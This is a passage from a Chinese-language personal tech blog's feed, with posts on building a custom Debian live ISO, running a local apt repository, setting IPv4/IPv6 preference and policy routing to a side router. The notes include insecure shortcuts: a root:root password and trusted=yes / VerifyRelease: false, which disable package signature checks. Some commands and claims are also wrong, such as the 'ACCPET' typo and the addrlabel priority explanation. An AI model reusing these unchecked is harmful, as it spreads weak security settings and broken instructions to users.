mkdir ~&amp;#x2F;debian-custom-iso &amp;amp;&amp;amp; cd ~&amp;#x2F;debian-custom-iso
mkdir rootfs iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;gou-jian-zui-xiao-gen-wen-jian-xi-tong&quot;&gt;构建最小根文件系统&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 假设构建Debian 12 (Bookworm) 系统
sudo debootstrap --verbose --arch=amd64 bookworm .&amp;#x2F;rootfs http:&amp;#x2F;&amp;#x2F;deb.debian.org&amp;#x2F;debian
# 进入新系统进行基本配置
sudo mount -t proc proc rootfs&amp;#x2F;proc
sudo mount --rbind &amp;#x2F;sys rootfs&amp;#x2F;sys
sudo mount --rbind &amp;#x2F;dev rootfs&amp;#x2F;dev
sudo chroot .&amp;#x2F;rootfs &amp;#x2F;bin&amp;#x2F;bash
# 在chroot环境中执行以下命令
# 1. 安装一些最基础的软件和内核
apt update
apt install --no-install-recommends linux-image-amd64 systemd-sysv passwd
apt install live-boot live-config
# grub-pc-bin grub-efi-amd64 grub-efi-amd64-bin parted dosfstools openssh-server
# 2. 设置root密码（重要，否则可能无法登录）
echo custom-debian &amp;gt; &amp;#x2F;etc&amp;#x2F;hostname
echo &amp;quot;127.0.1.1 custom-debian&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;hosts
echo &amp;quot;root:root&amp;quot; | chpasswd
# 3. 配置网络（基础DHCP）
echo &amp;quot;auto eth0&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;network&amp;#x2F;interfaces.d&amp;#x2F;eth0
echo &amp;quot;iface eth0 inet dhcp&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;network&amp;#x2F;interfaces.d&amp;#x2F;eth0
# 4. 退出chroot环境
exit
sudo umount -l rootfs&amp;#x2F;{proc,sys,dev}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zhi-zuo-squashfs-zuo-wei-live-xi-tong-root&quot;&gt;制作 squashfs（作为 live 系统 root）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# sudo apt install live-boot live-config
chroot rootfs apt install live-boot live-config
chroot rootfs update-initramfs -u

mkdir -p iso&amp;#x2F;live
sudo mksquashfs rootfs iso&amp;#x2F;live&amp;#x2F;filesystem.squashfs -comp xz -wildcards
cp rootfs&amp;#x2F;boot&amp;#x2F;vmlinuz-* iso&amp;#x2F;live&amp;#x2F;vmlinuz
cp rootfs&amp;#x2F;boot&amp;#x2F;initrd.img-* iso&amp;#x2F;live&amp;#x2F;initrd.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pei-zhi-qing-dan&quot;&gt;配置清单&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir iso&amp;#x2F;isolinux&amp;#x2F;
cp &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;ISOLINUX&amp;#x2F;isolinux.bin iso&amp;#x2F;isolinux&amp;#x2F;
cp &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;syslinux&amp;#x2F;modules&amp;#x2F;bios&amp;#x2F;ldlinux.c32 iso&amp;#x2F;isolinux&amp;#x2F;

cat &amp;gt; iso&amp;#x2F;isolinux&amp;#x2F;isolinux.cfg &amp;lt;&amp;lt;EOF
DEFAULT install
TIMEOUT 3
PROMPT 1
LABEL install
  SAY Booting custom Debian live system...
  MENU LABEL ^Install Debian (text mode)
  KERNEL &amp;#x2F;live&amp;#x2F;vmlinuz
  APPEND vga=788 initrd=&amp;#x2F;live&amp;#x2F;initrd.img boot=live quiet rd.debug 
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;uefiyin-dao-grub-efi&quot;&gt;UEFI引导(grub-efi)&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir -p iso&amp;#x2F;EFI&amp;#x2F;BOOT iso&amp;#x2F;boot&amp;#x2F;grub
cp &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;grub&amp;#x2F;x86_64-efi&amp;#x2F;monolithic&amp;#x2F;grubx64.efi iso&amp;#x2F;EFI&amp;#x2F;BOOT&amp;#x2F;BOOTX64.EFI


# 创建GRUB配置文件 (iso&amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.cfg)
cat &amp;gt; iso&amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.cfg &amp;lt;&amp;lt; &amp;#x27;EOF&amp;#x27;
set timeout=5
menuentry &amp;quot;Custom Debian Live&amp;quot; {
    linux &amp;#x2F;live&amp;#x2F;vmlinuz boot=live quiet
    initrd &amp;#x2F;live&amp;#x2F;initrd.img
}
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;sheng-cheng-ke-qi-dong-iso&quot;&gt;生成可启动ISO&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 注意！！！ 相对ISO 内路径是 &amp;#x2F;isolinux&amp;#x2F;isolinux.bin
# 注意！！！ 相对ISO 内路径是 &amp;#x2F;EFI&amp;#x2F;BOOT&amp;#x2F;BOOTX64.EFI
xorriso -as mkisofs \
  -o debian-custom.iso \
  -iso-level 3 \
  -full-iso9660-filenames \
  -volid &amp;quot;CUSTOM_DEBIAN&amp;quot; \
  -eltorito-boot isolinux&amp;#x2F;isolinux.bin \
  -eltorito-catalog isolinux&amp;#x2F;boot.cat \
  -no-emul-boot -boot-load-size 4 -boot-info-table \
  -eltorito-alt-boot \
  -e EFI&amp;#x2F;BOOT&amp;#x2F;BOOTX64.EFI \
  -no-emul-boot \
  iso&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ke-xuan-jia-ru-ni-de-an-zhuang-jiao-ben-zi-ding-yi-installer&quot;&gt;（可选）：加入你的“安装脚本”（自定义 installer）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 你自己的安装脚本可以把 rootfs 安装进真实硬盘：
# 你就拥有了一个 完全自己定制的 Debian 安装 ISO。
cat &amp;gt; iso&amp;#x2F;install.sh &amp;lt;&amp;lt;EOF
mkfs.ext4 &amp;#x2F;dev&amp;#x2F;sda1
mount &amp;#x2F;dev&amp;#x2F;sda1 &amp;#x2F;mnt
unsquashfs -f -d &amp;#x2F;mnt &amp;#x2F;live&amp;#x2F;filesystem.squashfs
grub-install &amp;#x2F;dev&amp;#x2F;sda
update-grub
EOF

cat &amp;gt;&amp;gt; grub.cfg &amp;lt;&amp;lt;EOF
menuentry &amp;quot;Run installer&amp;quot; {
    linux &amp;#x2F;live&amp;#x2F;vmlinuz boot=live autoexec=&amp;#x2F;install.sh
    initrd &amp;#x2F;live&amp;#x2F;initrd.img
}
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ce-shi-yan-zheng&quot;&gt;测试验证&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# bios
qemu-system-x86_64 -m 1024 -cdrom debian-custom.iso -boot d -enable-kvm

# uefi 启动
sudo apt install ovmf
qemu-system-x86_64 -m 1024 \
-bios &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;OVMF&amp;#x2F;OVMF.fd \
-cdrom debian-custom.iso \
-boot d -enable-kvm

# 可 dd 到 U 盘
sudo dd if=debian-custom.iso of=&amp;#x2F;dev&amp;#x2F;sdX bs=4M status=progress
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;diao-shi-pai-cha&quot;&gt;调试排查&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;xorriso -indev debian-custom.iso -ls | grep -i &amp;#x27;initrd\|vmlinuz&amp;#x27;
mkdir &amp;#x2F;tmp&amp;#x2F;iso
sudo mount -o loop debian-custom.iso &amp;#x2F;tmp&amp;#x2F;iso
find &amp;#x2F;tmp&amp;#x2F;iso -name &amp;quot;*initrd*&amp;quot; -o -name &amp;quot;*vmlinuz*&amp;quot; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
sudo umount &amp;#x2F;tmp&amp;#x2F;iso
xorriso -indev debian-custom.iso -extract &amp;#x27;&amp;#x2F;isolinux&amp;#x2F;isolinux.cfg&amp;#x27; &amp;#x2F;tmp&amp;#x2F;isolinux.cfg 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null || true
xorriso -indev debian-custom.iso -extract &amp;#x27;&amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.cfg&amp;#x27; &amp;#x2F;tmp&amp;#x2F;grub.cfg 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null || true

cat &amp;#x2F;tmp&amp;#x2F;isolinux.cfg &amp;#x2F;tmp&amp;#x2F;grub.cfg 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null | grep -A1 -B1 &amp;#x27;initrd\|vmlinuz&amp;#x27;

mkdir &amp;#x2F;tmp&amp;#x2F;initrd
cd &amp;#x2F;tmp&amp;#x2F;initrd
zcat &amp;#x2F;tmp&amp;#x2F;iso&amp;#x2F;live&amp;#x2F;initrd.img | cpio -idmv
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;debian-guan-fang-de-mini-live-zhi-zuo-liu-cheng&quot;&gt;Debian 官方的 mini live 制作流程&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# chroot 内安装 live-boot + rebuild initrd
chroot rootfs apt update
chroot rootfs apt install --no-install-recommends live-boot live-config systemd-sysv linux-image-amd64
chroot rootfs update-initramfs -u

# ISOLINUX 目录结构
mkdir -p iso&amp;#x2F;isolinux
cp &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;ISOLINUX&amp;#x2F;isolinux.bin iso&amp;#x2F;isolinux&amp;#x2F;
cp &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;syslinux&amp;#x2F;modules&amp;#x2F;bios&amp;#x2F;*.c32 iso&amp;#x2F;isolinux&amp;#x2F;

# 创建 UEFI FAT ESP
mkdir -p iso&amp;#x2F;efi-img
mkdir -p esp&amp;#x2F;EFI&amp;#x2F;BOOT
cp &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;grub&amp;#x2F;x86_64-efi&amp;#x2F;monolithic&amp;#x2F;grubx64.efi esp&amp;#x2F;EFI&amp;#x2F;BOOT&amp;#x2F;BOOTX64.EFI

# 制作 FAT 镜像
dd if=&amp;#x2F;dev&amp;#x2F;zero of=iso&amp;#x2F;efi.img bs=1M count=10
mkfs.vfat iso&amp;#x2F;efi.img
mcopy -i iso&amp;#x2F;efi.img -s esp&amp;#x2F;* ::&amp;#x2F;

# xorriso 构建正确的混合引导 ISO
xorriso -as mkisofs \
  -o debian-custom.iso \
  -iso-level 3 \
  -full-iso9660-filenames \
  -eltorito-boot isolinux&amp;#x2F;isolinux.bin \
    -eltorito-catalog isolinux&amp;#x2F;boot.cat \
    -no-emul-boot -boot-load-size 4 -boot-info-table \
  -eltorito-alt-boot \
    -e efi.img \
    -no-emul-boot \
  -append_partition 2 0xef iso&amp;#x2F;efi.img \
  iso&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>apt本地仓库</title>
        <published>2025-12-08T13:35:58+08:00</published>
        <updated>2025-12-08T13:35:58+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/12/apt本地仓库/"/>
        <id>https://vercel.juzhong.asia/2025/12/apt本地仓库/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/12/apt本地仓库/">&lt;h1 id=&quot;pei-zhi-ben-di-debianyuan-cang-ku-fang-an&quot;&gt;配置本地Debian源仓库方案&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install reprepro apt-rdepends
sudo mkdir -p &amp;#x2F;srv&amp;#x2F;localrepo&amp;#x2F;{conf,packages}
sudo chmod -R 755 &amp;#x2F;srv&amp;#x2F;localrepo
sudo chown peter:peter &amp;#x2F;srv&amp;#x2F;localrepo

sudo tee &amp;#x2F;srv&amp;#x2F;localrepo&amp;#x2F;conf&amp;#x2F;distributions &amp;lt;&amp;lt;EOF
Origin: LocalRepo
Label: LocalRepo
Codename: bookworm
Architectures: amd64
Components: main
Description: Minimal local Debian repo
EOF

mkdir -p &amp;#x2F;tmp&amp;#x2F;debs
cd &amp;#x2F;tmp&amp;#x2F;debs
pkgs=(&amp;quot;nginx&amp;quot; &amp;quot;curl&amp;quot;)
for pkg in ${pkgs}; do
  apt-rdepends $pkg | grep -v &amp;quot;^ &amp;quot;
done &amp;gt; &amp;#x2F;tmp&amp;#x2F;pkglist
while read pkg; do
    apt download &amp;quot;$pkg&amp;quot;
done &amp;lt; &amp;#x2F;tmp&amp;#x2F;pkglist

cd &amp;#x2F;srv&amp;#x2F;localrepo
for deb in &amp;#x2F;tmp&amp;#x2F;debs&amp;#x2F;*.deb; do
    reprepro includedeb bookworm &amp;quot;$deb&amp;quot;
done

echo &amp;quot;deb [trusted=yes, arch=amd64] file:&amp;#x2F;&amp;#x2F;&amp;#x2F;srv&amp;#x2F;localrepo bookworm main&amp;quot; | sudo tee &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;sources.list.d&amp;#x2F;localrepo.list

# 每次新增包都要
reprepro export
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zi-dong-di-gui-la-qu-bao-ji-yi-lai-dao-ben-di-cang-ku&quot;&gt;自动递归拉取包及依赖到本地仓库&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 你也可以让 reprepro 自动“抓取”远程仓库的包 + 所有依赖：
sudo tee &amp;#x2F;srv&amp;#x2F;localrepo&amp;#x2F;conf&amp;#x2F;updates&amp;lt;&amp;lt;EOF
Name: debian
Suite: bookworm
Components: main
Architectures: amd64
VerifyRelease: false
Method: http:&amp;#x2F;&amp;#x2F;deb.debian.org&amp;#x2F;debian
EOF

# 然后：
reprepro update
# ⚠️ 但 reprepro update 会拉 component 的所有包，不适合最小仓库，所以推荐手动 includedeb。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>配置ipv4 ipv6优先级</title>
        <published>2025-12-06T09:18:31+08:00</published>
        <updated>2025-12-06T09:18:31+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/12/配置ipv4 ipv6优先级/"/>
        <id>https://vercel.juzhong.asia/2025/12/配置ipv4 ipv6优先级/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/12/配置ipv4 ipv6优先级/">&lt;h1 id=&quot;linuxxi-tong-zhong-de-ipxuan-ze&quot;&gt;linux系统中的ip选择&lt;&#x2F;h1&gt;
&lt;p&gt;在 Linux 系统中，默认情况下，许多应用（尤其是使用 glibc 的 getaddrinfo() 的程序，如 curl、wget、ssh 等）会遵循 RFC 6724 的地址选择策略，优先选择 IPv6（若 AAAA 记录存在且网络支持），即使 IPv4 可用。&lt;&#x2F;p&gt;
&lt;p&gt;要让系统&#x2F;应用优先使用 IPv4，再回退到 IPv6，有以下几种常用方法（按推荐程度排序）：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiu-gai-gai-conf-quan-ju-biao-zhun-tui-jian&quot;&gt;修改 gai.conf（全局、标准、推荐）&lt;&#x2F;h2&gt;
&lt;p&gt;这是最标准、影响范围可控的方式，只影响使用 getaddrinfo() 的应用。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo vim &amp;#x2F;etc&amp;#x2F;gai.conf
# 优先 IPv4（将 ::ffff:0:0&amp;#x2F;96 的优先级调高）
# precedence ::ffff:0:0&amp;#x2F;96  100
sudo sed -i &amp;#x27;s&amp;#x2F;#precedence ::ffff:0:0\&amp;#x2F;96  10&amp;#x2F;precedence ::ffff:0:0\&amp;#x2F;96  100&amp;#x2F;&amp;#x27; &amp;#x2F;etc&amp;#x2F;gai.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;原理：::ffff:0:0&#x2F;96 是 IPv4-mapped IPv6 地址（如 ::ffff:192.0.2.1）。提高其优先级后，当域名同时有 A 和 AAAA 记录时，getaddrinfo() 会优先返回 IPv4 地址。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 无需重启，新进程立即生效。
getent ahostsv4 example.com | head -1   # 应返回 IPv4
getent ahostsv6 example.com | head -1   # 应返回 IPv6
# 测试解析顺序（注意顺序）：
python3 -c &amp;quot;import socket; print(socket.getaddrinfo(&amp;#x27;example.com&amp;#x27;, 80, socket.AF_UNSPEC, socket.SOCK_STREAM))&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;huan-jing-bian-liang-yong-hu-ji-lin-shi&quot;&gt;环境变量（用户级&#x2F;临时）&lt;&#x2F;h2&gt;
&lt;p&gt;适用于特定用户或会话，不影响系统全局：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export GAI_CONF=&amp;#x2F;dev&amp;#x2F;null  # 禁用 gai.conf（回退到旧行为，常优先 IPv4）
# 或更精准：
export GAI_CONF=&amp;lt;(echo &amp;quot;precedence ::ffff:0:0&amp;#x2F;96 100&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xiu-gai-nei-he-di-zhi-xuan-ze-ce-lue-tui-jian-xing-wei-zui-jie-jin-ipv4-first&quot;&gt;修改内核地址选择策略（推荐，行为最接近“IPv4 first”）&lt;&#x2F;h2&gt;
&lt;p&gt;Linux 使用 RFC 3484 &#x2F; RFC 6724 地址选择规则，可以通过 ip addrlabel 调整优先级，让 IPv4 地址的地址标签优先级更高。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;➤ 查看当前地址标签：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip addrlabel list
# 通常看到：
# prefix ::ffff:0.0.0.0&amp;#x2F;96 label 4
# prefix ::&amp;#x2F;0                label 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中 ::ffff:0.0.0.0&#x2F;96 是 IPv4-mapped IPv6 地址。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;➤ 让 IPv4-mapped 更优先：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip addrlabel add prefix ::ffff:0.0.0.0&amp;#x2F;96 label 0
# 让它的 label 更小 → 优先级更高。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;➤ 或者反过来降低 IPv6 的优先级：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip addrlabel add prefix ::&amp;#x2F;0 label 10
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;bu-tui-jian-de-fang-fa-fu-zuo-yong-da&quot;&gt;不推荐的方法（副作用大）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;禁用 IPv6（如 sysctl net.ipv6.conf.all.disable_ipv6=1）：
&lt;ul&gt;
&lt;li&gt;虽可强制走 IPv4，但破坏 IPv6 功能，不符合现代网络趋势，且某些服务依赖 IPv6 localhost（如部分 Docker&#x2F;LXC 配置），可能导致意外故障。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;修改 &#x2F;etc&#x2F;hosts：
&lt;ul&gt;
&lt;li&gt;手动将域名映射到 IPv4 地址仅对特定主机名有效，不具普适性。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;addrlable-conf-he-gai-conf-de-qu-bie&quot;&gt;addrlable.conf 和gai.conf 的区别&lt;&#x2F;h1&gt;
&lt;p&gt;&#x2F;etc&#x2F;iproute2&#x2F;addrlabel.conf 和 &#x2F;etc&#x2F;gai.conf 都涉及 IP 地址优先级&#x2F;排序，但它们的工作层级、目标、机制截然不同。下面我们从原理、作用域、典型场景三方面对比：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;维度&lt;&#x2F;th&gt;&lt;th&gt;&#x2F;etc&#x2F;gai.conf&lt;&#x2F;th&gt;&lt;th&gt;&#x2F;etc&#x2F;iproute2&#x2F;addrlabel.conf&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;标准依据&lt;&#x2F;td&gt;&lt;td&gt;RFC 6724&lt;&#x2F;td&gt;&lt;td&gt;RFC 6724 §2.1 + Linux 内核实现&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;作用对象&lt;&#x2F;td&gt;&lt;td&gt;✅ 用户空间应用（通过 getaddrinfo()）：&lt;br&gt;curl, wget, ssh, python socket, systemd-resolved 等&lt;&#x2F;td&gt;&lt;td&gt;✅ 内核空间（net&#x2F;ipv6&#x2F;addrlabel.c）：&lt;br&gt;影响 内核生成的源地址标签（label），供 getaddrinfo() 读取参考&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;控制什么&lt;&#x2F;td&gt;&lt;td&gt;应用层 地址排序规则（getaddrinfo() 的输出顺序）&lt;&#x2F;td&gt;&lt;td&gt;内核为每个 IPv6 地址分配的 label 值（ip addrlabel list 可见），是 gai.conf 中 label 规则的数据源&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;是否必须配合使用&lt;&#x2F;td&gt;&lt;td&gt;❌ 可独立工作（可仅靠 precedence 规则）&lt;&#x2F;td&gt;&lt;td&gt;⚠️ 通常需配合 gai.conf 的 label 规则才生效；单独修改它不直接改变应用行为&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;典型配置项&lt;&#x2F;td&gt;&lt;td&gt;precedence, label, scopev4&lt;&#x2F;td&gt;&lt;td&gt;prefix label（如 ::1&#x2F;128 0）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;生效方式&lt;&#x2F;td&gt;&lt;td&gt;应用启动时读取（或按 GAI_CONF 环境变量）&lt;&#x2F;td&gt;&lt;td&gt;ip addrlabel 加载；内核维护 label 表；getaddrinfo() 查询该表&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;etc-gai-conf-yong-hu-kong-jian-de-jue-ce-yin-qing&quot;&gt;&#x2F;etc&#x2F;gai.conf：用户空间的“决策引擎”&lt;&#x2F;h2&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>默认路由到旁路由</title>
        <published>2025-12-05T00:04:27+08:00</published>
        <updated>2026-09-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/12/默认路由到旁路由/"/>
        <id>https://vercel.juzhong.asia/2025/12/默认路由到旁路由/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/12/默认路由到旁路由/">&lt;h1 id=&quot;zhi-jie-xiu-gai-mo-ren-lu-you&quot;&gt;直接修改默认路由&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 目标机器修改默认路由
sudo ip route replace default via 172.17.66.222 dev enp125s0f3

# 旁路由开启路由转发
sysctl -w net.ipv4.ip_forward=1
sysctl -w &amp;#x27;net.ipv4.ip_forward = 1&amp;#x27;
sudo iptables -P FORWARD ACCPET
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这种方式简单直接，缺点是没有按源&#x2F;目的分流的灵活性。如果只想&quot;覆盖&quot;原默认路由而不想换表，也可以保留原路由、只调低新路由的 metric（数值小的优先）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip route replace default via 10.0.0.1 dev eth0 metric 10
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pei-zhi-ce-lue-lu-you&quot;&gt;配置策略路由&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# echo &amp;quot;2000 tor&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;iproute2&amp;#x2F;rt_tables     # 添加了这个映射后，table可以使用tor名称指定
ip route add default via 192.168.10.10 table 2000 

# 匹配所有流量到main表，但是不包括前缀是0的路由（即不匹配main中的默认路由）
sudo ip rule add priority 5000 from all table main suppress_prefixlength 0  
# 如果不加 not iif lo，本机产生的流量（如 curl localhost）也会查表 2000，可能导致无法访问 127.0.0.1??
# 测试添加了not iif lo 本机器产生的所有流量都不匹配这个流量了？？
sudo ip rule add priority 5001 from all lookup 2000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面两个 &lt;code&gt;??&lt;&#x2F;code&gt; 的答案（当时留下的疑问，后来弄清楚了）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;not iif lo&lt;&#x2F;code&gt; 匹配的是&quot;不是从 lo 进来的&quot;包，即只匹配&lt;strong&gt;转发流量&lt;&#x2F;strong&gt;（从其他网卡进来的包），本机自己发出的流量（iif lo）不匹配。&lt;&#x2F;li&gt;
&lt;li&gt;不加 &lt;code&gt;not iif lo&lt;&#x2F;code&gt; 时本机流量也会查表 2000 —— 这正是&quot;默认路由到旁路由&quot;想要的行为（本机流量同样走旁路由）。127.0.0.1 不会受影响：pref 0 的 local 表在 5000&#x2F;5001 之前就先命中了回环地址，根本轮不到查表 2000。&lt;&#x2F;li&gt;
&lt;li&gt;加了 &lt;code&gt;not iif lo&lt;&#x2F;code&gt; 后本机流量不再匹配 2000，这是正确语义：本机流量会被&quot;漏&quot;到后面的 main 表直连。&lt;strong&gt;若希望本机也走旁路由，不要加 &lt;code&gt;not iif lo&lt;&#x2F;code&gt;。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;lu-you-biao-ben-shen-mei-you-you-xian-ji-cha-zhao-shun-xu-you-gui-ze-lian-jue-ding&quot;&gt;路由表本身没有优先级，查找顺序由规则链决定&lt;&#x2F;h1&gt;
&lt;p&gt;关键概念：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路由表没有优先级&lt;&#x2F;strong&gt;。table 的 ID（2000、2022…）只是编号，不决定先后。&lt;&#x2F;li&gt;
